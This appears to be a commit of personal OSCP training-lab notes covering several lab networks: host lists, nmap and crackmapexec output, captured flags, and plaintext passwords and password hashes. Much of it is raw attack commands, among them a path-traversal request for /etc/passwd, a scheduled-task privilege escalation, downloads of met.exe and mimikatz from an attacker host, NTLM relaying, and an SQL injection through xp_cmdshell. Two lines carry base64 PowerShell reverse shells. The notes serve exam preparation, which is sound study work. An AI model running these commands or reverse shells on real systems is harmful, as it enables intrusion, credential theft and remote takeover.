julle/oscp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

first commit

Browse Source
This commit is contained in:
julle
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Labs/Relia/computers.md
+15
View File
@@ -0,0 +1,15 @@
**172.16.189.6**
**172.16.189.7**
**172.16.189.21**
**172.16.189.19**
**172.16.189.15**
**172.16.189.30**
**172.16.189.14**
**172.16.189.20**
**192.168.229.249**
**192.168.229.248**
**192.168.229.247**
**192.168.229.246**
**192.168.229.245**
**192.168.229.191**
**192.168.229.189**
Labs/Relia/computers/192.168.219.248 (external)/ports/80.md
+1
View File
@@ -0,0 +1 @@
dnn
Labs/Relia/computers/192.168.229.245.md
+3
View File
@@ -0,0 +1,3 @@
curl -s --path-as-is "<http://192.168.229.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd>"
fireball (anita.key)
Labs/Relia/computers/WEB02 (192.168.229.247).md
+34
View File
@@ -0,0 +1,34 @@
mark@relia.com OathDeeplyReprieve91
### XAMPP Default Passwords ###
1. MySQL (phpMyAdmin):
User: root
Password:
(means no password!)
2. FileZilla FTP:
[ You have to create a new user on the FileZilla Interface ]
3. Mercury (not in the USB & lite version):
Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
User: newuser
Password: wampp
4. WEBDAV:
User: xampp-dav-unsecure
Password: ppmax2011
Attention: WEBDAV is not active since XAMPP Version 1.7.4.
For activation please comment out the httpd-dav.conf and
following modules in the httpd.conf
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
Please do not forget to refresh the WEBDAV authentification (users and passwords).
Labs/Relia/computers/WEB02 (192.168.229.247)/ports/14080.md
+1
View File
@@ -0,0 +1 @@
Umbarco , log in with mark and OathDeeplyReprieve91
Labs/Relia/flags.md
+16
View File
@@ -0,0 +1,16 @@
.5 : e410e9f0206199437684d8232caaded1 proof X
**172.16.189.6** cf86245279c256faa805d94fa8ffe419 X
**172.16.189.7** : proof : fae902d3eceaa5fe5584dd5e2be13419 , local : de487e5c556fc4bba7a4b6d6de5c18a4 X
**192.168.229.249** local: 4e8fea99a80e23ad6fe8c92348542c89, root: 1b501db31a17a18c826e7b5cb26744f5 X
**192.168.229.248** local: 2c2cc6f32986baee17ea9ec8e56f4b3d, root: 8c135cb2da8df15504a23027ce3873a4 (mark?) X
**192.168.219.247** local: 386aa1706f6eea5ebc931d08e851c5bb, root: 85a55905cd1f42f399c9bf26cd4855ef x
**192.168.229.246** local: a7867dd364e00f6a99b6d3468e4e5f9c , root: 0fd61fba73fd5337a2607459f42fabc3 x
**192.168.229.245** local : b8f1949a5da82e4b13797f331ff39017 , root: 5530c5e0d5406f437c47d62c2dee0ba9 X
**172.16.189.21** 19a40f9bc5857952af7d95317c16b1a3
**172.16.189.19** local: 470bd0fe042b4138349c4364e8ca7f74 , root : c64ffa84304c2d51984fb5a7a6c272dd
**172.16.189.15** local: 33a70a6b6b1ab6d35e913b36ebd5cd70 , root: 7b8cf4ae0b31d79340fd07ff6edbe064
**172.16.189.30** proof: 8e6b50da44c31c6fff0c21c836ef851a
**172.16.189.14** local: 43e884f723a67ac510926d7400b38331 , root: 7146619d893c84b16a370a2aefa1e45f
**192.168.229.191** root:0e78c0c08bcccfb0574176a5acb2d432 X
**192.168.229.189** root: e410e9f0206199437684d8232caaded1 X
**172.16.189.20** local : 7aa49f9ebe7fbe4968ccd40e52ac1131 :
Labs/Relia/passwords.md
+12
View File
@@ -0,0 +1,12 @@
password
HabitsAgesEnd123
SomersetVinyl1!
SAPassword_1998
Papal1963
12345
DotNetNukeDatabasePassword!
fireball
!8@aBRBYdb3!
Castello1!
SlimGodhoodMope
DPuBT9tGCBrTbR
Labs/Relia/user-pass.md
+3
View File
@@ -0,0 +1,3 @@
maildmz:DPuBT9tGCBrTbR
andrea:PasswordPassword_6
milana:2237ff5905ec2fd9ebbdfa3a14d1b2b6
Labs/Relia/users.md
+13
View File
@@ -0,0 +1,13 @@
miranda
steven
mark
anita
offsec
bo
emma
michael321
dnnuser
zachary
adrian
jim
dmzadmin
Labs/WINPRIV.md
+17
View File
@@ -0,0 +1,17 @@
Hash: diana::CLIENTWK222:1122334455667788:cbe4454616892478412188ab54f0fdf0:0101000000000000975c4e2ebc93da01e3895dd8e19d71e90000000008003000300000000000000000000000002000001513eef000a029646815e9ac70fef311a4bbfc6473b89c5e4ca4abcd1f02025f0a00100000000000000000000000000000000000090000000000000000000000
WelcomeToWinter0121
27c5afc3.2aaf-4bb1.aeb9.feaed1a6745b
`schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators alex /add"`
Version: NetNTLMv2
Hash: enterpriseuser::CLIENTWK222:1122334455667788:1ed8927e5759da639bba2085d89af0c1:010100000000000026c6c3c9c593da01eba8a4b4ddefc0e800
00000008003000300000000000000000000000003000001513eef000a029646815e9ac70fef311a4bbfc6473b89c5e4ca4abcd1f02025f0a001000000000000000000000000
00000000000090000000000000000000000
Labs/ad.md
+56
View File
@@ -0,0 +1,56 @@
PS C:\Tools> Find-DomainShare
Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin DC1.corp.com
C$ 2147483648 Default share DC1.corp.com
IPC$ 2147483651 Remote IPC DC1.corp.com
NETLOGON 0 Logon server share DC1.corp.com
SYSVOL 0 Logon server share DC1.corp.com
ADMIN$ 2147483648 Remote Admin web04.corp.com
backup 0 web04.corp.com
C$ 2147483648 Default share web04.corp.com
IPC$ 2147483651 Remote IPC web04.corp.com
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
C 0 FILES04.corp.com
C$ 2147483648 Default share FILES04.corp.com
docshare 0 Documentation purposes FILES04.corp.com
Important Files 0 FILES04.corp.com
IPC$ 2147483651 Remote IPC FILES04.corp.com
Tools 0 FILES04.corp.com
Users 0 FILES04.corp.com
Windows 0 FILES04.corp.com
ADMIN$ 2147483648 Remote Admin client74.corp.com
C$ 2147483648 Default share client74.corp.com
IPC$ 2147483651 Remote IPC client74.corp.com
ADMIN$ 2147483648 Remote Admin client75.corp.com
C$ 2147483648 Default share client75.corp.com
IPC$ 2147483651 Remote IPC client75.corp.com
sharing 0 client75.corp.com
ADMIN$ 2147483648 Remote Admin CLIENT76.corp.com
C$ 2147483648 Default share CLIENT76.corp.com
IPC$ 2147483651 Remote IPC CLIENT76.corp.com
HenchmanPutridBonbon11
P@$$w0rd
net use z: \\192.168.45.224\test /user:test test
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen
robert
dennis
michelle
-----
jeff:HenchmanPutridBonbon11
Labs/ad/cap1.md
+3
View File
@@ -0,0 +1,3 @@
$krb5asrep$23$mike@CORP.COM:51a5e776656df4d3e87e32ad82dfa66b$1a214777261c3458282e3342fb735a03694389a41e1fb561b17c932bb6b55e38216337b92bf87fca59d189487449723e3f02480b6e1ccd959f3b378c14da6d0253f5f731a308226d82ca56520091149de8300df45a78014cdd544a5ec342e9e9cee25f2c4dc2741b5165d821327e859b8bd3384f9be28f044b417be243f5fa0fe103077505b0937a2403224bae71d46b75014170402010acf1b0a19a9175ad8636854d17b936fbb0242d000c7dc1f99716e69477f1b4e522f62b54621f9930368598f929ff3ac894154ddfc38782e590fa04a2c47909c1fda30cab93e391436ebf357271:Darkness1099!
Labs/beyond.md
+68
View File
@@ -0,0 +1,68 @@
PS C:\Windows\System32\WindowsPowerShell\v1.0. whoami
whoami
beyond\marcus
PS C:\Windows\System32\WindowsPowerShell\v1.0. hostname
hostname
CLIENTWK1
PS C:\Windows\System32\WindowsPowerShell\v1.0. ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 172.16.160.243
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.160.254
PS C:\Windows\System32\WindowsPowerShell\v1.0.
iwr -uri [http://192.168.45.198:8000/winPEASx64.exe](http://192.168.119.5:8000/winPEASx64.exe) -Outfile winPEAS.exe
type C:\Users\marcus\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
͹ Enumerating Security Packages Credentials
Version: NetNTLMv2
Hash: marcus::BEYOND:1122334455667788:7a11d0ea1ca545e49688cde3c7ce30d9:01010000000000003f5f925128c6da013686d0a90db8fdca000000000800300030000000000000000000000000200000ca9c7210e9cfb74dcdbdb6246cc4618e90a419e1fc1edc60f3ec2c47c1dcbd220a00100000000000000000000000000000000000090000000000000000000000
͹ Network Ifaces and known hosts
The masks are only for the IPv4 addresses
Ethernet0[00:50:56:9E:65:CE]: 172.16.160.243 / 255.255.255.0
Gateways: 172.16.160.254
DNSs: 172.16.160.240
Known hosts:
172.16.160.240 00.50.56.9E-FA-ED Dynamic
172.16.160.254 00.50.56.9E-DA-CD Dynamic
172.16.160.255 FF-FF-FF-FF-FF-FF Static
224.0.0.22 01.00.5E-00.00.16 Static
224.0.0.251 01.00.5E-00.00.FB Static
224.0.0.252 01.00.5E-00.00.FC Static
239.255.255.250 01.00.5E-7F-FF-FA Static
iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe
sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 172.16.160.240 172.16.160.241 172.16.160.254
./`chisel.exe client 192.168.45.198:8080 R:80:172.16.160.241:80`
**DANIelaRO123**
**sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.229.242 -c **“powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOQA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7AHQAcgB5ACAAewAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAiACQAXwBgAG4AIgB9ADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA”
iwr -uri [http://192.168.45.198:8000/met.exe](http://192.168.119.5:8000/met.exe) -Outfile met.exe
iwr -uri [http://192.168.45.198:8000/mimikatz.exe](http://192.168.119.5:8000/mimikatz.exe) -Outfile mimikatz.exe
**NiftyTopekaDevolve6655!#!**
Labs/medtech/computers.md
+10
View File
@@ -0,0 +1,10 @@
**172.16.229.10**
**172.16.229.11**
**172.16.229.12**
**172.16.229.13**
**172.16.229.14**
**172.16.229.82**
**172.16.229.83**
**192.168.229.120**
**192.168.229.121**
**192.168.229.122**
Labs/medtech/computers/172.16.152.0.md
+210
View File
@@ -0,0 +1,210 @@
Nmap scan report for 172.16.152.11
Host is up (0.055s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: FILES02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f7:cb (VMware)
|_clock-skew: 1s
Nmap scan report for 172.16.152.12
Host is up (0.063s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024.06.25T10:46:22+00:00; +2s from scanner time.
| rdp-ntlm-info:
| Target_Name: MEDTECH
| NetBIOS_Domain_Name: MEDTECH
| NetBIOS_Computer_Name: DEV04
| DNS_Domain_Name: medtech.com
| DNS_Computer_Name: DEV04.medtech.com
| DNS_Tree_Name: medtech.com
| Product_Version: 10.0.20348
|_ System_Time: 2024.06.25T10:45:42+00:00
| ssl-cert: Subject: commonName=DEV04.medtech.com
| Not valid before: 2024.04.16T20:19:52
|_Not valid after: 2024.10.16T20:19:52
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
|_nbstat: NetBIOS name: DEV04, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:7f:da (VMware)
Nmap scan report for 172.16.152.13
Host is up (0.064s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: PROD01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:d1:c2 (VMware)
|_clock-skew: 1s
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
Nmap scan report for 172.16.152.14
Host is up (0.052s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0.
| ssh-hostkey:
| 3072 eb:0e:77:7c:69:f2:4a:a5:65:2a:1c:ec:ec:6e:79:19 (RSA)
|_ 256 5f:4f:29:47:7a:14:65:4d:bc:f3:74:40:a7:45:7e:94 (ED25519.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Post-scan script results:
| clock-skew:
| 1s:
| 172.16.152.11
| 172.16.152.12
|_ 172.16.152.13
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 4 IP addresses (4 hosts up) scanned in 66.73 seconds
Nmap scan report for 172.16.152.82
Host is up (0.064s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=CLIENT01.medtech.com
| Not valid before: 2024.04.16T21:31:12
|_Not valid after: 2024.10.16T21:31:12
| rdp-ntlm-info:
| Target_Name: MEDTECH
| NetBIOS_Domain_Name: MEDTECH
| NetBIOS_Computer_Name: CLIENT01
| DNS_Domain_Name: medtech.com
| DNS_Computer_Name: CLIENT01.medtech.com
| DNS_Tree_Name: medtech.com
| Product_Version: 10.0.22000
|_ System_Time: 2024.06.25T10:54:27+00:00
|_ssl-date: 2024.06.25T10:55:07+00:00; +2s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: CLIENT01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:34:40 (VMware)
| smb2.time:
| date: 2024.06.25T10:54:27
|_ start_date: N/A
Nmap scan report for 172.16.152.83
Host is up (0.064s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: CLIENT02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:3f:90 (VMware)
|_clock-skew: 1s
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2.time:
| date: 2024.06.25T10:54:27
|_ start_date: N/A
Post-scan script results:
| clock-skew:
| 1s:
| 172.16.152.82
|_ 172.16.152.83
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 2 IP addresses (2 hosts up) scanned in 74.33 seconds
---smb----
➜ websrv crackmapexec smb 172.16.152.10.83 -u joe -d medtech.com -p "Flowers1" --shares
SMB 172.16.152.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01. (domain:medtech.com) (signing:True) (SMBv1:False)
SMB 172.16.152.83 445 CLIENT02 [*] Windows 11 Build 22000 x64 (name:CLIENT02. (domain:medtech.com) (signing:False) (SMBv1:False)
SMB 172.16.152.12 445 DEV04 [*] Windows Server 2022 Build 20348 x64 (name:DEV04. (domain:medtech.com) (signing:False) (SMBv1:False)
SMB 172.16.152.11 445 FILES02 [*] Windows Server 2022 Build 20348 x64 (name:FILES02. (domain:medtech.com) (signing:False) (SMBv1:False)
SMB 172.16.152.82 445 CLIENT01 [*] Windows 11 Build 22000 x64 (name:CLIENT01. (domain:medtech.com) (signing:False) (SMBv1:False)
SMB 172.16.152.13 445 PROD01 [*] Windows Server 2022 Build 20348 x64 (name:PROD01. (domain:medtech.com) (signing:False) (SMBv1:False)
SMB 172.16.152.10 445 DC01 [+] medtech.com\joe:Flowers1
SMB 172.16.152.83 445 CLIENT02 [+] medtech.com\joe:Flowers1
SMB 172.16.152.12 445 DEV04 [+] medtech.com\joe:Flowers1
SMB 172.16.152.11 445 FILES02 [+] medtech.com\joe:Flowers1 (Pwn3d!)
SMB 172.16.152.12 445 DEV04 [+] Enumerated shares
SMB 172.16.152.12 445 DEV04 Share Permissions Remark
SMB 172.16.152.12 445 DEV04 ----- ----------- ------
SMB 172.16.152.12 445 DEV04 ADMIN$ Remote Admin
SMB 172.16.152.12 445 DEV04 C$ Default share
SMB 172.16.152.12 445 DEV04 IPC$ READ Remote IPC
SMB 172.16.152.83 445 CLIENT02 [+] Enumerated shares
SMB 172.16.152.83 445 CLIENT02 Share Permissions Remark
SMB 172.16.152.83 445 CLIENT02 ----- ----------- ------
SMB 172.16.152.83 445 CLIENT02 ADMIN$ Remote Admin
SMB 172.16.152.83 445 CLIENT02 C READ
SMB 172.16.152.83 445 CLIENT02 C$ Default share
SMB 172.16.152.83 445 CLIENT02 IPC$ READ Remote IPC
SMB 172.16.152.83 445 CLIENT02 Windows READ
SMB 172.16.152.10 445 DC01 [+] Enumerated shares
SMB 172.16.152.10 445 DC01 Share Permissions Remark
SMB 172.16.152.10 445 DC01 ----- ----------- ------
SMB 172.16.152.10 445 DC01 ADMIN$ READ Remote Admin
SMB 172.16.152.10 445 DC01 C$ READ,WRITE Default share
SMB 172.16.152.10 445 DC01 IPC$ READ Remote IPC
SMB 172.16.152.10 445 DC01 NETLOGON READ Logon server share
SMB 172.16.152.10 445 DC01 SYSVOL READ Logon server share
SMB 172.16.152.82 445 CLIENT01 [+] medtech.com\joe:Flowers1
SMB 172.16.152.13 445 PROD01 [+] medtech.com\joe:Flowers1
SMB 172.16.152.82 445 CLIENT01 [+] Enumerated shares
SMB 172.16.152.82 445 CLIENT01 Share Permissions Remark
SMB 172.16.152.82 445 CLIENT01 ----- ----------- ------
SMB 172.16.152.82 445 CLIENT01 ADMIN$ Remote Admin
SMB 172.16.152.82 445 CLIENT01 C$ Default share
SMB 172.16.152.82 445 CLIENT01 IPC$ READ Remote IPC
SMB 172.16.152.13 445 PROD01 [+] Enumerated shares
SMB 172.16.152.13 445 PROD01 Share Permissions Remark
SMB 172.16.152.13 445 PROD01 ----- ----------- ------
SMB 172.16.152.13 445 PROD01 ADMIN$ Remote Admin
SMB 172.16.152.13 445 PROD01 C$ Default share
SMB 172.16.152.13 445 PROD01 IPC$ READ Remote IPC
SMB 172.16.152.11 445 FILES02 [+] Enumerated shares
SMB 172.16.152.11 445 FILES02 Share Permissions Remark
SMB 172.16.152.11 445 FILES02 ----- ----------- ------
SMB 172.16.152.11 445 FILES02 ADMIN$ READ,WRITE Remote Admin
SMB 172.16.152.11 445 FILES02 C READ,WRITE
SMB 172.16.152.11 445 FILES02 C$ READ,WRITE Default share
SMB 172.16.152.11 445 FILES02 IPC$ READ Remote IPC
SMB 172.16.152.11 445 FILES02 TEMP READ,WRITE
Labs/medtech/computers/172.16.152.0/DC01.medtech.com/port.md
+27
View File
@@ -0,0 +1,27 @@
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024.06.25 12:41 CEST
Nmap scan report for 172.16.152.10
Host is up (0.073s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024.06.25 10:41:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: medtech.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: medtech.com0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.time:
| date: 2024.06.25T10:41:38
|_ start_date: N/A
|_clock-skew: 1s
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f0:b0 (VMware)
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled and required
Labs/medtech/computers/172.16.152.0/DEV04.md
+3
View File
@@ -0,0 +1,3 @@
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)peas.exe -Outfile peas.exe
Labs/medtech/computers/172.16.152.0/DEV04/Port.md
+32
View File
@@ -0,0 +1,32 @@
Nmap scan report for 172.16.152.12
Host is up (0.063s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024.06.25T10:46:22+00:00; +2s from scanner time.
| rdp-ntlm-info:
| Target_Name: MEDTECH
| NetBIOS_Domain_Name: MEDTECH
| NetBIOS_Computer_Name: DEV04
| DNS_Domain_Name: medtech.com
| DNS_Computer_Name: DEV04.medtech.com
| DNS_Tree_Name: medtech.com
| Product_Version: 10.0.20348
|_ System_Time: 2024.06.25T10:45:42+00:00
| ssl-cert: Subject: commonName=DEV04.medtech.com
| Not valid before: 2024.04.16T20:19:52
|_Not valid after: 2024.10.16T20:19:52
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
|_nbstat: NetBIOS name: DEV04, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:7f:da (VMware)
Labs/medtech/computers/172.16.152.0/FILES02/Ports.md
+22
View File
@@ -0,0 +1,22 @@
Nmap scan report for 172.16.152.11
Host is up (0.055s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: FILES02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:f7:cb (VMware)
|_clock-skew: 1s
impacket-psexec medtech.com/joe:Flowers1@172.16.152.11
Labs/medtech/computers/172.16.152.0/FILES02/pwn.md
+1
View File
@@ -0,0 +1 @@
impacket-psexec medtech.com/joe:Flowers1@172.16.152.11
Labs/medtech/computers/172.16.152.0/PROD/Port.md
+18
View File
@@ -0,0 +1,18 @@
Nmap scan report for 172.16.152.13
Host is up (0.064s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2.security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: PROD01, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:d1:c2 (VMware)
|_clock-skew: 1s
| smb2.time:
| date: 2024.06.25T10:45:43
|_ start_date: N/A
Labs/medtech/computers/172.16.152.0/client02.md
+1
View File
@@ -0,0 +1 @@
evil-winrm -i 172.16.229.83 -u wario -p "Mushroom\!"
Labs/medtech/computers/192.168.152.121.md
+31
View File
@@ -0,0 +1,31 @@
webpage sql incjection:
' EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQAOQAuADkAMQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwB0AHIAeQAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAIgAuACAAewAgACQAZABhAHQAYQAgAH0AIAAyAD4AJgAxACIAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAIgAkAF8AYABuACIAfQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC